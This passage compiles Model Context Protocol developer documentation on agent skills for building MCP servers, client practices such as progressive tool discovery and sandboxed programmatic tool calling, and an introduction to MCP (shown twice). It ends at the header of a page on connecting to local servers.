# Table of Contents - [Build with Agent Skills - Model Context Protocol](#build-with-agent-skills-model-context-protocol) - [Client Best Practices - Model Context Protocol](#client-best-practices-model-context-protocol) - [What is the Model Context Protocol (MCP)? - Model Context Protocol](#what-is-the-model-context-protocol-mcp-model-context-protocol) - [What is the Model Context Protocol (MCP)? - Model Context Protocol](#what-is-the-model-context-protocol-mcp-model-context-protocol) - [Connect to local MCP servers - Model Context Protocol](#connect-to-local-mcp-servers-model-context-protocol) - [Build an MCP client - Model Context Protocol](#build-an-mcp-client-model-context-protocol) - [Architecture overview - Model Context Protocol](#architecture-overview-model-context-protocol) - [Understanding MCP clients - Model Context Protocol](#understanding-mcp-clients-model-context-protocol) - [Understanding MCP servers - Model Context Protocol](#understanding-mcp-servers-model-context-protocol) - [Versioning - Model Context Protocol](#versioning-model-context-protocol) - [Connect to remote MCP Servers - Model Context Protocol](#connect-to-remote-mcp-servers-model-context-protocol) - [Debugging - Model Context Protocol](#debugging-model-context-protocol) - [MCP Inspector - Model Context Protocol](#mcp-inspector-model-context-protocol) - [Security Best Practices - Model Context Protocol](#security-best-practices-model-context-protocol) - [SDKs - Model Context Protocol](#sdks-model-context-protocol) - [Build an MCP server - Model Context Protocol](#build-an-mcp-server-model-context-protocol) - [Understanding Authorization in MCP - Model Context Protocol](#understanding-authorization-in-mcp-model-context-protocol) --- # Build with Agent Skills - Model Context Protocol [Skip to main content](https://modelcontextprotocol.io/docs/develop/build-with-agent-skills#content-area) [Model Context Protocol home page![light logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/light.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=a5ac61ce77858fb1ddaf6de761c39499)![dark logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/dark.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=1227cb7feb8344f9f6288c6b5b0a6d80)](https://modelcontextprotocol.io/) Search... Ctrl K Search... Navigation Develop with MCP Build with Agent Skills [Documentation](https://modelcontextprotocol.io/docs/getting-started/intro) [Extensions](https://modelcontextprotocol.io/extensions/overview) [Specification](https://modelcontextprotocol.io/specification/2025-11-25) [Registry](https://modelcontextprotocol.io/registry/about) [SEPs](https://modelcontextprotocol.io/seps) [Community](https://modelcontextprotocol.io/community/contributing) On this page * [Available skills](https://modelcontextprotocol.io/docs/develop/build-with-agent-skills#available-skills) * [Start a build](https://modelcontextprotocol.io/docs/develop/build-with-agent-skills#start-a-build) * [Deployment paths](https://modelcontextprotocol.io/docs/develop/build-with-agent-skills#deployment-paths) * [Next steps](https://modelcontextprotocol.io/docs/develop/build-with-agent-skills#next-steps) [Agent skills](https://agentskills.io/home) are portable instruction sets that give AI coding assistants domain knowledge for a task. For MCP development, they encode the design decisions (deployment model, tool patterns, auth) so your agent can interrogate your use case and scaffold a server that fits. [​](https://modelcontextprotocol.io/docs/develop/build-with-agent-skills#available-skills) Available skills -------------------------------------------------------------------------------------------------------------- A reference set of MCP development skills is available as the [`mcp-server-dev` plugin](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev) . It provides three composing skills: | Skill | Purpose | | --- | --- | | `build-mcp-server` | Entry point. Interrogates the use case, picks a deployment model and tool-design pattern, routes to specialized skills. | | `build-mcp-app` | Adds interactive UI widgets (forms, pickers, dashboards) rendered inline in chat. | | `build-mcpb` | Packages a local stdio server with its runtime so users can install it without Node or Python. | Each skill ships a `SKILL.md` file plus a `references/` folder of supporting material (auth flows, tool-design patterns, widget templates, manifest schemas) that the agent reads on demand. The files follow the open format and work with any agent that implements the standard. For example, to install them in Claude Code: /plugin marketplace add anthropics/claude-plugins-official /plugin install mcp-server-dev For other agents, check your skills or extensions catalog, or clone the [skill directories](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev/skills) (`SKILL.md` plus `references/`) into your agent’s skills location. [​](https://modelcontextprotocol.io/docs/develop/build-with-agent-skills#start-a-build) Start a build -------------------------------------------------------------------------------------------------------- With the skills installed, ask your agent to help you build an MCP server. The entry skill triggers on natural-language requests, or you can invoke it directly using your agent’s skill-invocation syntax. The skill runs a short discovery phase before writing any code. Expect questions about: * **What it connects to** — a cloud API, a local process, the filesystem, hardware * **Who will use it** — just you, your team, or anyone who installs it * **Action surface size** — a handful of operations versus wrapping a large API * **User interaction needs** — plain text results, structured input via [elicitation](https://modelcontextprotocol.io/specification/draft/client/elicitation) , or rich UI widgets * **Upstream auth** — API keys, OAuth 2.0, or none If your opening message already covers these, the agent skips ahead to the recommendation. [​](https://modelcontextprotocol.io/docs/develop/build-with-agent-skills#deployment-paths) Deployment paths -------------------------------------------------------------------------------------------------------------- Based on discovery, the skill recommends one of four paths and scaffolds accordingly: **Remote [Streamable HTTP](https://modelcontextprotocol.io/specification/draft/basic/transports#streamable-http) ** is the default for anything wrapping a cloud API. Zero install friction, one deployment serves all users, and OAuth flows work properly because the server can handle redirects and token storage. The reference skill includes scaffolds for Cloudflare Workers and portable Express/FastMCP setups. **[MCP apps](https://modelcontextprotocol.io/extensions/apps/overview) ** extend a server with interactive widgets rendered in chat, such as searchable pickers, charts, and live dashboards. The skill hands off to `build-mcp-app` when [elicitation’s](https://modelcontextprotocol.io/specification/draft/client/elicitation) flat-form constraints don’t fit. **[MCP Bundles (MCPB)](https://github.com/modelcontextprotocol/mcpb) ** package a local server together with its runtime as a single `.mcpb` archive, so users can install it without setting up Node or Python. Use this path when the server must touch the user’s machine: reading local files, driving desktop apps, or talking to localhost services. The skill hands off to `build-mcpb`. **Local [stdio](https://modelcontextprotocol.io/specification/draft/basic/transports#stdio) ** remains available for prototyping, with a noted upgrade path to MCPB when you’re ready to distribute. [​](https://modelcontextprotocol.io/docs/develop/build-with-agent-skills#next-steps) Next steps -------------------------------------------------------------------------------------------------- Once your agent scaffolds the server, iterate on tool descriptions and error handling, then test and ship: [MCP Inspector\ -------------\ \ Test your server’s tools, resources, and prompts interactively](https://modelcontextprotocol.io/docs/tools/inspector) [Connect to a client\ -------------------\ \ Wire your server into an MCP client via local or remote configuration](https://modelcontextprotocol.io/docs/develop/connect-local-servers) [Publish to the Registry\ -----------------------\ \ Make your server discoverable in the MCP Registry](https://modelcontextprotocol.io/registry/quickstart) Was this page helpful? YesNo [Connect to remote MCP Servers](https://modelcontextprotocol.io/docs/develop/connect-remote-servers) [Build an MCP server](https://modelcontextprotocol.io/docs/develop/build-server) Ctrl+I --- # Client Best Practices - Model Context Protocol [Skip to main content](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#content-area) [Model Context Protocol home page![light logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/light.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=a5ac61ce77858fb1ddaf6de761c39499)![dark logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/dark.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=1227cb7feb8344f9f6288c6b5b0a6d80)](https://modelcontextprotocol.io/) Search... ⌘K Search... Navigation Clients Client Best Practices [Documentation](https://modelcontextprotocol.io/docs/getting-started/intro) [Extensions](https://modelcontextprotocol.io/extensions/overview) [Specification](https://modelcontextprotocol.io/specification/2025-11-25) [Registry](https://modelcontextprotocol.io/registry/about) [SEPs](https://modelcontextprotocol.io/seps) [Community](https://modelcontextprotocol.io/community/contributing) On this page * [Progressive Tool Discovery](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#progressive-tool-discovery) * [When to Use Progressive Discovery](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#when-to-use-progressive-discovery) * [Choosing a Discovery Strategy](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#choosing-a-discovery-strategy) * [Using Progressive Discovery](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#using-progressive-discovery) * [Dynamic Server Management](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#dynamic-server-management) * [Implementation Guidelines](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#implementation-guidelines) * [Interaction with Prompt Caching](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#interaction-with-prompt-caching) * [Programmatic Tool Calling / Code Mode](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#programmatic-tool-calling-%2F-code-mode) * [How It Works](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#how-it-works) * [Choosing a Sandbox](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#choosing-a-sandbox) * [Execution Architecture](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#execution-architecture) * [Security Considerations](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#security-considerations) * [Error Handling](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#error-handling) * [Combining Both Patterns](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#combining-both-patterns) As MCP host applications, such as agents, connect to more MCP servers and accumulate access to hundreds or thousands of tools, naive approaches to tool management break down. Loading every tool definition into the model’s context window upfront wastes tokens, increases latency, and degrades model performance. Passing large intermediate results through the model between sequential tool calls compounds the problem. Two patterns address these challenges: **progressive discovery**, which controls _when_ tool definitions enter context, and **programmatic tool calling**, which controls _how_ tools are invoked. [​](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#progressive-tool-discovery) Progressive Tool Discovery ---------------------------------------------------------------------------------------------------------------------------------------- Naive MCP host implementations pass the tool definitions of every connected server directly to the model at the start of each conversation. For a handful of tools, this is perfectly reasonable. But when a host has access to dozens of servers exposing hundreds of tools, those definitions alone can consume the majority of the context window before the model has even read the user’s message. ![Comparison of loading all tools upfront versus discovering tools on demand. The upfront approach consumes ~150,000 tokens on definitions alone, while progressive discovery uses ~2,000 tokens by loading only what the task requires.](https://mintcdn.com/mcp/JXfd5cBmEUh_qPUI/images/progressive-discovery.svg?w=2500&fit=max&auto=format&n=JXfd5cBmEUh_qPUI&q=85&s=32454434f079824c259a84ffa7ad2b62) Progressive discovery avoids this: * The host fetches tool definitions via `tools/list` as normal, but defers injecting them into the model’s context. * The host provides a lightweight `search_tools` meta-tool to the model. * The host loads full definitions into context only as needed. ### [​](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#when-to-use-progressive-discovery) When to Use Progressive Discovery Progressive discovery is best used when tool definitions take large parts of the context window. For a small set of tools with tool definitions taking up a small part of the context window, loading all tools is fine. Once the tool definitions take up a significant part of the available context window, clients should switch to progressive discovery. We recommend that clients implement thresholds to determine when to switch: * Implement a threshold as a percentage of the context window. For example, 1%-5%. * Load tool definitions. Once the threshold is reached, switch to progressive discovery. ### [​](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#choosing-a-discovery-strategy) Choosing a Discovery Strategy Once the model invokes the `search_tools` tool, we need to choose a search strategy: * **Keyword-based**: Keyword matching (BM25, regex). Simple and effective, particularly for descriptive tool names and descriptions. * **Embedding-based**: Vector-similarity retrieval over tool descriptions. Handles synonyms and semantic matching better. * **Subagent-based**: A secondary model, often a small and fast model such as Claude Haiku or Gemini Flash, selects tools for the task. This usually works very well but can be more costly than embedding-based or keyword-based solutions. * **Hybrid**: Combine approaches. For example, by scoring across keyword and embedding rankings, or choosing different strategies depending on use-case or query. Some model providers already offer built-in tool search. For example, [OpenAI](https://developers.openai.com/api/docs/guides/tools-tool-search) and [Anthropic](https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool) support this natively; check your provider’s documentation for an equivalent. When available, you may prefer the platform’s tool search over a custom implementation. Build your own when the provider doesn’t offer one or when you need specialized retrieval logic (e.g., domain-specific ranking or access-control filtering). The three-layer pattern below illustrates a custom search-based approach in detail, but the layered principle (catalog, inspect, execute) applies regardless of retrieval mechanism. ### [​](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#using-progressive-discovery) Using Progressive Discovery One common implementation for progressive discovery uses a search-based three-layer approach: **Layer 1: Catalog.** The host exposes a small set of meta-tools for searching available capabilities. A `search_tools` tool accepts a natural-language query and returns matching tool names with brief descriptions. // The model calls a lightweight search tool search_tools({ query: "update salesforce record" }) // Returns concise matches: names and one-line descriptions only → [\ { name: "salesforce_updateRecord", description: "Update fields on a Salesforce object" },\ { name: "salesforce_upsertRecord", description: "Insert or update based on external ID" }\ ] **Layer 2: Inspect.** Once the model identifies a candidate, it fetches the full definition (input schema, output schema, documentation) for that tool only. // The model inspects only the tool it needs get_tool_details({ name: "salesforce_updateRecord" }); This returns the complete schema for a single tool: { "name": "salesforce_updateRecord", "description": "Updates a record in Salesforce", "inputSchema": { "type": "object", "properties": { "objectType": { "type": "string", "description": "Salesforce object type" }, "recordId": { "type": "string", "description": "Record ID to update" }, "data": { "type": "object", "description": "Fields to update" } }, "required": ["objectType", "recordId", "data"] } } **Layer 3: Execute.** The model calls the tool with full knowledge of its interface, having loaded only the definitions it needed. This pattern reduces token usage dramatically and can improve tool selection accuracy: the model focuses on a few relevant tools rather than scanning hundreds of irrelevant ones. Other discovery strategies (embeddings, subagents, etc.) follow the same layered principle but substitute different retrieval mechanisms in the catalog layer. ### [​](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#dynamic-server-management) Dynamic Server Management Progressive discovery extends beyond individual tools to entire servers. Rather than connecting to every configured server at startup, a host can: 1. Maintain a registry of available servers and their high-level descriptions. 2. Connect to a server only when the model determines it needs that server’s capabilities. 3. Disconnect servers that are no longer relevant to the current task, freeing context. This works especially well for general-purpose agents, where the user’s intent isn’t known upfront. The agent starts with a minimal set of always-on servers and connects others as needed. Combined with [agent skills](https://modelcontextprotocol.io/docs/develop/build-with-agent-skills) , a skill file can declare which MCP servers it needs, and the host connects them only when that skill is invoked. ### [​](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#implementation-guidelines) Implementation Guidelines When implementing progressive discovery: | Guideline | Rationale | | --- | --- | | **Offer multiple detail levels** | Let the model choose between name-only, name-and-description, or full-schema responses. | | **Cache tool definitions** | Once fetched from a server, memoize the definition host-side so re-injecting it later doesn’t need another `tools/list` round trip. This is separate from what’s currently in the model’s context. | | **Refresh on `list_changed`** | Re-index the search catalog when a server sends `notifications/tools/list_changed`. | | **Group tools by server** | Present tools organized by their source server so the model can reason about related capabilities. | ### [​](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#interaction-with-prompt-caching) Interaction with Prompt Caching Most providers cache the prompt prefix, including the `tools` array. Adding or removing tool definitions mid-conversation invalidates that cache, and the resulting miss can cost more tokens than the definitions you removed. To preserve caching: * Append newly discovered definitions after the cache breakpoint rather than re-sorting the `tools` array, or route every call through a single stable `call_tool({name, args})` meta-tool so the array never changes. * Treat server disconnection as a conversation-boundary operation rather than a per-turn one. * Consult your provider’s caching documentation alongside the tool-search links above. [​](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#programmatic-tool-calling-/-code-mode) Programmatic Tool Calling / Code Mode -------------------------------------------------------------------------------------------------------------------------------------------------------------- With direct tool calling, every tool invocation is a round trip: the model generates a tool call, the client executes it, and the full result flows back into the model’s context. When a task requires chaining multiple tools (read a document, transform it, write it somewhere else), each intermediate result passes through the model, consuming tokens and adding latency even when it has nothing to do with them. Programmatic tool calling (sometimes called “code mode”) provides a way for clients to **compose tool calls** effectively. Instead of calling tools directly, the model writes code that calls tools. The code executes in a sandboxed environment, and only the final result returns to the model. Programmatic tool calling is powerful and allows for more efficient use of MCP tools and resources, but requires clients to implement a sandbox environment. ![Comparison of direct tool calling versus programmatic tool calling. Direct calling passes every intermediate result through the model (~100K+ tokens). Programmatic calling sends a ~200-token script to a sandbox, which executes the tool calls and returns a ~15-token summary.](https://mintcdn.com/mcp/JXfd5cBmEUh_qPUI/images/programmatic-tool-calling.svg?w=2500&fit=max&auto=format&n=JXfd5cBmEUh_qPUI&q=85&s=649e4748639c4bee0e485e32942d5282) ### [​](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#how-it-works) How It Works The host converts MCP tool schemas into a typed API available inside a sandbox. When the model needs tools, it writes a script and executes it. **Step 1: Generate a programmatic API from MCP schemas.** The host reads each server’s tool definitions and produces typed functions based on each tool’s arguments and `outputSchema`: // Auto-generated from the Logging MCP server's tool schema interface LogEntry { timestamp: string; message: string; level: string; } function logging_getLogs(input: { level: "error" | "warn" | "info"; since: number; }): Promise<{ entries: LogEntry[] }> { return mcp.callTool<{ entries: LogEntry[] }>("logging_getLogs", input); } // Auto-generated from the Ticketing MCP server's tool schema function ticketing_createIssue(input: { title: string; body?: string; priority: "low" | "medium" | "high"; }): Promise<{ issueId: string }> { return mcp.callTool<{ issueId: string }>("ticketing_createIssue", input); } MCP Servers can provide an optional [`outputSchema`](https://modelcontextprotocol.io/specification/draft/server/tools#output-schema) for each tool. When an output schema is present, the host can produce precise return types (like `LogEntry` above). When an output schema is absent, prefer the simple path: * **Use a generic type and move on.** Accept `any` or `string` and handle the unstructured output downstream. The real fix is for server authors to provide `outputSchema`. * **Extract a typed result using a fast model**, for single-shot calls outside loops. Expose a host-brokered `extract(value, ExpectedType)` helper through the same stub-interception path as MCP tool calls so the sandbox itself never opens a network connection. The helper routes to a small model (for example, Claude Haiku or Gemini Flash) to coerce the value into `ExpectedType`. This adds per-call latency and can hallucinate or drop fields, so validate the result against `ExpectedType` before use. **Step 2: The model writes code against these APIs.** Rather than making separate tool calls with full results flowing through context between them, the model writes a single script. Consider a task like “find all error logs from the past hour and file a ticket for each unique error.” With direct tool calling, thousands of log entries would flow through the model’s context. With code, the model filters in the sandbox: // Model-generated code, executes in sandbox const logs = await logging_getLogs({ level: "error", since: Date.now() - 3600000, }); // Filter and deduplicate inside the sandbox, not in the model's context const uniqueErrors = new Map(); for (const log of logs.entries) { if (!uniqueErrors.has(log.message)) { uniqueErrors.set(log.message, log); } } for (const [message, log] of uniqueErrors) { await ticketing_createIssue({ title: `Error: ${message}`, body: `First seen: ${log.timestamp}\nOccurrences: ${ logs.entries.filter((l) => l.message === message).length }`, priority: "high", }); } console.log( `Filed ${uniqueErrors.size} tickets from ${logs.entries.length} error logs`, ); **Step 3: The sandbox executes the code.** Function calls inside the sandbox are intercepted and routed back to the appropriate MCP server through the host broker. The log data and ticket creation flow directly between servers without ever entering the model’s context. Only the `console.log` output, a single summary line, returns to the model. ### [​](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#choosing-a-sandbox) Choosing a Sandbox The right sandbox depends on the language you want the model to write, your host application’s language, and how much isolation you need. The table lists example runtimes rather than endorsements; evaluate maturity for your use case: | Sandboxed language | Runtime / Library | Host language | Approach | | --- | --- | --- | --- | | **JavaScript** | [Deno](https://github.com/denoland/deno)
, `isolated-vm` | Rust / Node / CLI | V8-based runtimes with fine-grained permissions. Can disable all permissions for full lockdown. | | **Python** | [Monty](https://github.com/pydantic/monty)
_(experimental)_ | Rust | Minimal Python interpreter built for AI use cases. No I/O by default. | | **TypeScript** | [pctx](https://github.com/portofcontext/pctx)
_(early-stage)_ | Python / Rust | Incorporates code mode concepts as a library, with low-level Rust support. | | **Any (via Wasm)** | [Wasmtime](https://github.com/bytecodealliance/wasmtime) | Rust / C / Go | Compile any language to Wasm and run it with capability-based security. | Regardless of sandbox, the integration pattern is the same: the host injects function stubs, intercepts calls over an in-process or stdio channel (so network permissions can stay fully denied), and dispatches them as `tools/call` requests to MCP servers. ### [​](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#execution-architecture) Execution Architecture The implementation has three components: **The sandbox** runs model-generated code in an isolated environment with no direct network access. Its only interface to the outside world is through the generated function stubs, which route calls back to the host. **The host** acts as a broker. It receives function calls from the sandbox, maps them to the correct MCP server, executes the tool call, and returns the result to the sandbox. Authorization tokens and credentials are held by the host and never exposed to the generated code. **The model** sees only what the sandbox returns, typically the output of `console.log` statements or a final return value. This gives the model (and the client developer) precise control over what enters the context window. ### [​](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#security-considerations) Security Considerations Programmatic tool calling introduces a code execution surface that requires careful sandboxing: * **Per-call authorization**: The broker is still the MCP host for spec purposes. Apply the same human-in-the-loop confirmation policy to sandbox-originated calls that you apply to direct calls (see [Tools: Security](https://modelcontextprotocol.io/specification/draft/server/tools#security-considerations) ). Approving the script does not grant blanket approval for every tool call it makes at runtime; hosts may grant categorical approval (for example, “allow `ticketing_createIssue` for this script run”) rather than prompting per iteration, but the broker must still evaluate each call against that grant. * **Cross-server data flow**: Tool results from one server are untrusted input to another. The broker should apply the same input-review policy to brokered calls as to direct ones; output truncation alone does not prevent exfiltration. * **Network isolation**: The sandbox should have no direct network access. All external communication flows through the host broker, which enforces authorization and access control. * **No credential exposure**: API keys and tokens are held by the host. The generated code calls typed functions; the host adds authentication when forwarding to servers. * **Resource limits**: Set timeouts and memory limits on sandbox execution to prevent runaway scripts. * **Output filtering**: Validate and truncate sandbox console output before feeding it back to the model. ### [​](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#error-handling) Error Handling MCP tool errors arrive as a successful response with [`isError: true`](https://modelcontextprotocol.io/specification/draft/server/tools#error-handling) rather than a transport failure. Generated wrappers should convert this into a thrown exception so model-authored code can use `try`/`catch`. If an uncaught error terminates the script, surface it as the script’s result so the model can self-correct; the model is responsible for reporting any partial side effects already committed. [​](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices#combining-both-patterns) Combining Both Patterns ---------------------------------------------------------------------------------------------------------------------------------- Progressive discovery and programmatic tool calling work well together. The model uses discovery tools to identify which tools it needs, loads their schemas, and then writes a single script that calls multiple tools in one execution pass. This combination minimizes both the token cost of tool definitions _and_ the token cost of tool results, keeping the model’s context focused on reasoning rather than passing data through it. Was this page helpful? YesNo [Build an MCP client](https://modelcontextprotocol.io/docs/develop/build-client) [SDKs](https://modelcontextprotocol.io/docs/sdk) ⌘I --- # What is the Model Context Protocol (MCP)? - Model Context Protocol [Skip to main content](https://modelcontextprotocol.io/docs/#content-area) [Model Context Protocol home page![light logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/light.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=a5ac61ce77858fb1ddaf6de761c39499)![dark logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/dark.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=1227cb7feb8344f9f6288c6b5b0a6d80)](https://modelcontextprotocol.io/) Search... ⌘K Search... Navigation Get started What is the Model Context Protocol (MCP)? [Documentation](https://modelcontextprotocol.io/docs/getting-started/intro) [Extensions](https://modelcontextprotocol.io/extensions/overview) [Specification](https://modelcontextprotocol.io/specification/2025-11-25) [Registry](https://modelcontextprotocol.io/registry/about) [SEPs](https://modelcontextprotocol.io/seps) [Community](https://modelcontextprotocol.io/community/contributing) On this page * [What can MCP enable?](https://modelcontextprotocol.io/docs/#what-can-mcp-enable) * [Why does MCP matter?](https://modelcontextprotocol.io/docs/#why-does-mcp-matter) * [Broad ecosystem support](https://modelcontextprotocol.io/docs/#broad-ecosystem-support) * [Start Building](https://modelcontextprotocol.io/docs/#start-building) * [Learn more](https://modelcontextprotocol.io/docs/#learn-more) MCP (Model Context Protocol) is an open-source standard for connecting AI applications to external systems. Using MCP, AI applications like Claude or ChatGPT can connect to data sources (e.g. local files, databases), tools (e.g. search engines, calculators) and workflows (e.g. specialized prompts)—enabling them to access key information and perform tasks. Think of MCP like a USB-C port for AI applications. Just as USB-C provides a standardized way to connect electronic devices, MCP provides a standardized way to connect AI applications to external systems. ![](https://mintcdn.com/mcp/bEUxYpZqie0DsluH/images/mcp-simple-diagram.png?w=2500&fit=max&auto=format&n=bEUxYpZqie0DsluH&q=85&s=dc4ab238184b6c70e06e871681c921c5) [​](https://modelcontextprotocol.io/docs/#what-can-mcp-enable) What can MCP enable? -------------------------------------------------------------------------------------- * Agents can access your Google Calendar and Notion, acting as a more personalized AI assistant. * Claude Code can generate an entire web app using a Figma design. * Enterprise chatbots can connect to multiple databases across an organization, empowering users to analyze data using chat. * AI models can create 3D designs on Blender and print them out using a 3D printer. [​](https://modelcontextprotocol.io/docs/#why-does-mcp-matter) Why does MCP matter? -------------------------------------------------------------------------------------- Depending on where you sit in the ecosystem, MCP can have a range of benefits. * **Developers**: MCP reduces development time and complexity when building, or integrating with, an AI application or agent. * **AI applications or agents**: MCP provides access to an ecosystem of data sources, tools and apps which will enhance capabilities and improve the end-user experience. * **End-users**: MCP results in more capable AI applications or agents which can access your data and take actions on your behalf when necessary. [​](https://modelcontextprotocol.io/docs/#broad-ecosystem-support) Broad ecosystem support --------------------------------------------------------------------------------------------- MCP is an open protocol supported across a wide range of clients and servers. AI assistants like [Claude](https://claude.com/docs/connectors/building) and [ChatGPT](https://developers.openai.com/api/docs/mcp/) , development tools like [Visual Studio Code](https://code.visualstudio.com/docs/copilot/chat/mcp-servers) , [Cursor](https://cursor.com/docs/context/mcp) , [MCPJam](https://docs.mcpjam.com/getting-started) , and [many others](https://modelcontextprotocol.io/clients) all support MCP — making it easy to build once and integrate everywhere. [​](https://modelcontextprotocol.io/docs/#start-building) Start Building --------------------------------------------------------------------------- Build servers ------------- Create MCP servers to expose your data and tools Build clients ------------- Develop applications that connect to MCP servers Build MCP Apps -------------- Build interactive apps that run inside AI clients [​](https://modelcontextprotocol.io/docs/#learn-more) Learn more ------------------------------------------------------------------- Understand concepts ------------------- Learn the core concepts and architecture of MCP Was this page helpful? YesNo [Architecture](https://modelcontextprotocol.io/docs/learn/architecture) ⌘I --- # What is the Model Context Protocol (MCP)? - Model Context Protocol [Skip to main content](https://modelcontextprotocol.io/docs/getting-started/intro#content-area) [Model Context Protocol home page![light logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/light.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=a5ac61ce77858fb1ddaf6de761c39499)![dark logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/dark.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=1227cb7feb8344f9f6288c6b5b0a6d80)](https://modelcontextprotocol.io/) Search... ⌘K Search... Navigation Get started What is the Model Context Protocol (MCP)? [Documentation](https://modelcontextprotocol.io/docs/getting-started/intro) [Extensions](https://modelcontextprotocol.io/extensions/overview) [Specification](https://modelcontextprotocol.io/specification/2025-11-25) [Registry](https://modelcontextprotocol.io/registry/about) [SEPs](https://modelcontextprotocol.io/seps) [Community](https://modelcontextprotocol.io/community/contributing) On this page * [What can MCP enable?](https://modelcontextprotocol.io/docs/getting-started/intro#what-can-mcp-enable) * [Why does MCP matter?](https://modelcontextprotocol.io/docs/getting-started/intro#why-does-mcp-matter) * [Broad ecosystem support](https://modelcontextprotocol.io/docs/getting-started/intro#broad-ecosystem-support) * [Start Building](https://modelcontextprotocol.io/docs/getting-started/intro#start-building) * [Learn more](https://modelcontextprotocol.io/docs/getting-started/intro#learn-more) MCP (Model Context Protocol) is an open-source standard for connecting AI applications to external systems. Using MCP, AI applications like Claude or ChatGPT can connect to data sources (e.g. local files, databases), tools (e.g. search engines, calculators) and workflows (e.g. specialized prompts)—enabling them to access key information and perform tasks. Think of MCP like a USB-C port for AI applications. Just as USB-C provides a standardized way to connect electronic devices, MCP provides a standardized way to connect AI applications to external systems. ![](https://mintcdn.com/mcp/bEUxYpZqie0DsluH/images/mcp-simple-diagram.png?w=2500&fit=max&auto=format&n=bEUxYpZqie0DsluH&q=85&s=dc4ab238184b6c70e06e871681c921c5) [​](https://modelcontextprotocol.io/docs/getting-started/intro#what-can-mcp-enable) What can MCP enable? ----------------------------------------------------------------------------------------------------------- * Agents can access your Google Calendar and Notion, acting as a more personalized AI assistant. * Claude Code can generate an entire web app using a Figma design. * Enterprise chatbots can connect to multiple databases across an organization, empowering users to analyze data using chat. * AI models can create 3D designs on Blender and print them out using a 3D printer. [​](https://modelcontextprotocol.io/docs/getting-started/intro#why-does-mcp-matter) Why does MCP matter? ----------------------------------------------------------------------------------------------------------- Depending on where you sit in the ecosystem, MCP can have a range of benefits. * **Developers**: MCP reduces development time and complexity when building, or integrating with, an AI application or agent. * **AI applications or agents**: MCP provides access to an ecosystem of data sources, tools and apps which will enhance capabilities and improve the end-user experience. * **End-users**: MCP results in more capable AI applications or agents which can access your data and take actions on your behalf when necessary. [​](https://modelcontextprotocol.io/docs/getting-started/intro#broad-ecosystem-support) Broad ecosystem support ------------------------------------------------------------------------------------------------------------------ MCP is an open protocol supported across a wide range of clients and servers. AI assistants like [Claude](https://claude.com/docs/connectors/building) and [ChatGPT](https://developers.openai.com/api/docs/mcp/) , development tools like [Visual Studio Code](https://code.visualstudio.com/docs/copilot/chat/mcp-servers) , [Cursor](https://cursor.com/docs/context/mcp) , [MCPJam](https://docs.mcpjam.com/getting-started) , and [many others](https://modelcontextprotocol.io/clients) all support MCP — making it easy to build once and integrate everywhere. [​](https://modelcontextprotocol.io/docs/getting-started/intro#start-building) Start Building ------------------------------------------------------------------------------------------------ Build servers ------------- Create MCP servers to expose your data and tools Build clients ------------- Develop applications that connect to MCP servers Build MCP Apps -------------- Build interactive apps that run inside AI clients [​](https://modelcontextprotocol.io/docs/getting-started/intro#learn-more) Learn more ---------------------------------------------------------------------------------------- Understand concepts ------------------- Learn the core concepts and architecture of MCP Was this page helpful? YesNo [Architecture](https://modelcontextprotocol.io/docs/learn/architecture) ⌘I --- # Connect to local MCP servers - Model Context Protocol [Skip to main content](https://modelcontextprotocol.io/docs/develop/connect-local-servers#content-area) [Model Context Protocol home page![light logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/light.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=a5ac61ce77858fb1ddaf6de761c39499)![dark 